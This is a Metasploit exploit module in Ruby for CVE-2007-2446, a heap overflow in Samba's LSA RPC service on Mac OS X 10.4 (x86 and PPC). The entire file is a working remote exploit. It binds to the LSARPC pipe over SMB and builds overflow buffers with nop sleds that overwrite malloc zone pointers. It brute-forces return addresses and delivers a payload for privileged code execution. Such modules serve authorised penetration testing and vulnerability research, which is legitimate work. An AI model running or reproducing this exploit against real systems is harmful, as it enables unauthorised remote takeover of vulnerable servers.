modules/exploits/osx/samba/lsa_transnames_heap.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Client
include Msf::Exploit::Brute
def initialize(info = {})
super(update_info(info,
'Name' => 'Samba lsa_io_trans_names Heap Overflow',
'Description' => %q{
This module triggers a heap overflow in the LSA RPC service
of the Samba daemon. This module uses the szone_free() to overwrite
the size() or free() pointer in initial_malloc_zones structure.
},
'Author' =>
[
'Ramon de C Valle',
'Adriano Lima <adriano[at]risesecurity.org>',
'hdm'
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2007-2446'],
['OSVDB', '34699'],
],
'Privileged' => true,
'Payload' =>
{
'Space' => 1024,
},
'Platform' => 'osx',
'DefaultOptions' =>
{
'PrependSetresuid' => true,
},
'Targets' =>
[
['Mac OS X 10.4.x x86 Samba 3.0.10',
{
'Platform' => 'osx',
'Arch' => [ ARCH_X86 ],
'Nops' => 4 * 1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0x01818000 },
'Stop' => { 'Ret' => 0x01830000 },
'Step' => 3351,
},
}
],
['Mac OS X 10.4.x PPC Samba 3.0.10',
{
'Platform' => 'osx',
'Arch' => [ ARCH_PPC ],
'Nops' => 1600,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0x01813000 },
'Stop' => { 'Ret' => 0x01830000 },
'Step' => 796,
}
}
],
['DEBUG',
{
'Platform' => 'osx',
'Arch' => [ ARCH_X86 ],
'Nops' => 4 * 1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xaabbccdd },
'Stop' => { 'Ret' => 0xaabbccdd },
'Step' => 0,
}
}
],
],
'DisclosureDate' => '2007-05-14'
))
register_options(
[
OptString.new('SMBPIPE', [ true, "The pipe name to use", 'LSARPC']),
])
end
# Handle a strange byteswapping issue on PPC
def ppc_byteswap(addr)
data = [addr].pack('N')
(data[1,1] + data[0,1] + data[3,1] + data[2,1]).unpack('N')[0]
end
def brute_exploit(target_addrs)
if(not @nops)
if (target['Nops'] > 0)
print_status("Creating nop sled....")
@nops = make_nops(target['Nops'])
else
@nops = ''
end
end
print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret'])
pipe = datastore['SMBPIPE'].downcase
print_status("Connecting to the SMB service...")
connect()
smb_login()
datastore['DCERPC::fake_bind_multi'] = false
handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")
num_entries = 256
num_entries2 = 257
#
# First talloc_chunk
# 16 bits align
# 16 bits sid_name_use
# 16 bits uni_str_len
# 16 bits uni_max_len
# 32 bits buffer
# 32 bits domain_idx
#
buf = (('A' * 16) * num_entries)
# Padding
buf << 'A' * 4
#
# Use the szone_free() to overwrite the size() pointer in
# initial_malloc_zones structure.
#
size_pointer = 0x1800008
# Initial nops array
nops = ''
# x86
if (target.arch.include?(ARCH_X86))
#
# We don't use the size() pointer anymore because it
# results in a unexpected behavior when smbd process
# is started by launchd.
#
free_pointer = 0x1800018
nop = "\x16"
#
# First talloc_chunk
# 16 bits align
# 16 bits sid_name_use
# 16 bits uni_str_len
# 16 bits uni_max_len
# 32 bits buffer
# 32 bits domain_idx
#
# First nop block
buf = ((nop * 16) * num_entries)
#
# A nop block of 0x16 (pushl %ss) and the address of
# 0x1800014 results in a jns instruction which when
# executed will jump over the address written eight
# bytes past our target address by szone_free() (the
# sign flag is zero at the moment our target address is
# executed).
#
# 0x357b ^ ( 0x1800014 ^ 0x16161616 ) = 0x17962379
#
# This is the output of the sequence of xor operations
# 0: 79 23 jns 0x25
# 2: 96 xchgl %eax,%esi
# 3: 17 popl %ss
# 4: 16 pushl %ss
# 5: 16 pushl %ss
# 6: 16 pushl %ss
# 7: 16 pushl %ss
# 8: 14 00 adcb $0x0,%al
# a: 80 01 16 addb $0x16,(%ecx)
#
# This jump is needed because the ecx register does not
# point to a valid memory location in free() context
# (it is zero).
#
# The jump will hit our nop block which will be executed
# until it reaches the payload.
#
# Padding nops
buf << nop * 2
# Jump over the pointers
buf << "\xeb\x08"
# Pointers
buf << [target_addrs['Ret']].pack('V')
buf << [free_pointer - 4].pack('V')
#
# We expect to hit this nop block or the one before
# the pointers.
#
buf << nop * (3852 - 8 - payload.encoded.length)
# Payload
buf << payload.encoded
# Padding nops
buf << nop * 1024
stub = lsa_open_policy(dcerpc)
stub << NDR.long(0) # num_entries
stub << NDR.long(0) # ptr_sid_enum
stub << NDR.long(num_entries) # num_entries
stub << NDR.long(0x20004) # ptr_trans_names
stub << NDR.long(num_entries2) # num_entries2
stub << buf
# PPC
else
#
# The first half of the nop sled is an XOR encoded branch
# instruction. The second half is a series of unencoded nop
# instructions. The result is:
#
# > This is the decoded branch instruction
# 0x181c380: bl 0x181c6a0
#
# > The size pointer is written below this
# 0x181c384: .long 0x1800004
#
# > Followed by the encoded branch sled
# 0x181c388: ba 0x180365c
# [ ... ]
#
# > The branch lands in the normal nop sled
# 0x181c6a0: andi. r17,r16,58162
# [ ... ]
#
# > Finally we reach our payload :-)
#
size_pointer = size_pointer - 4
sled = target['Nops']
jump = [ 0x357b ^ ( size_pointer ^ (0x48000001 + sled / 2 )) ].pack('N')
nops = (jump * (sled / 8)) + @nops[0, sled / 8]
addr_size = ppc_byteswap(size_pointer)
addr_ret = ppc_byteswap(target_addrs['Ret'])
# This oddness is required for PPC
buf << [addr_size].pack('N')
buf << [addr_ret ].pack('N')[2,2]
buf << [addr_ret ].pack('N')
# Padding
buf << "A" * (256 - 10)
stub = lsa_open_policy(dcerpc)
stub << NDR.long(0) # num_entries
stub << NDR.long(0) # ptr_sid_enum
stub << NDR.long(num_entries) # num_entries
stub << NDR.long(0x20004) # ptr_trans_names
stub << NDR.long(num_entries2) # num_entries2
stub << buf
stub << nops
stub << payload.encoded
end
print_status("Calling the vulnerable function...")
begin
# LsarLookupSids
dcerpc.call(0x0f, stub)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError
print_status('Server did not respond, this is expected')
rescue Rex::Proto::DCERPC::Exceptions::Fault
print_error('Server is most likely patched...')
rescue => e
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
print_status('Server disconnected, this is expected')
else
print_error("Error: #{e.class}: #{e}")
end
end
handler
disconnect
end
def lsa_open_policy(dcerpc, server="\\")
stubdata =
# Server
NDR.uwstring(server) +
# Object Attributes
NDR.long(24) + # SIZE
NDR.long(0) + # LSPTR
NDR.long(0) + # NAME
NDR.long(0) + # ATTRS
NDR.long(0) + # SEC DES
# LSA QOS PTR
NDR.long(1) + # Referent
NDR.long(12) + # Length
NDR.long(2) + # Impersonation
NDR.long(1) + # Context Tracking
NDR.long(0) + # Effective Only
# Access Mask
NDR.long(0x02000000)
res = dcerpc.call(6, stubdata)
dcerpc.last_response.stub_data[0,20]
end
end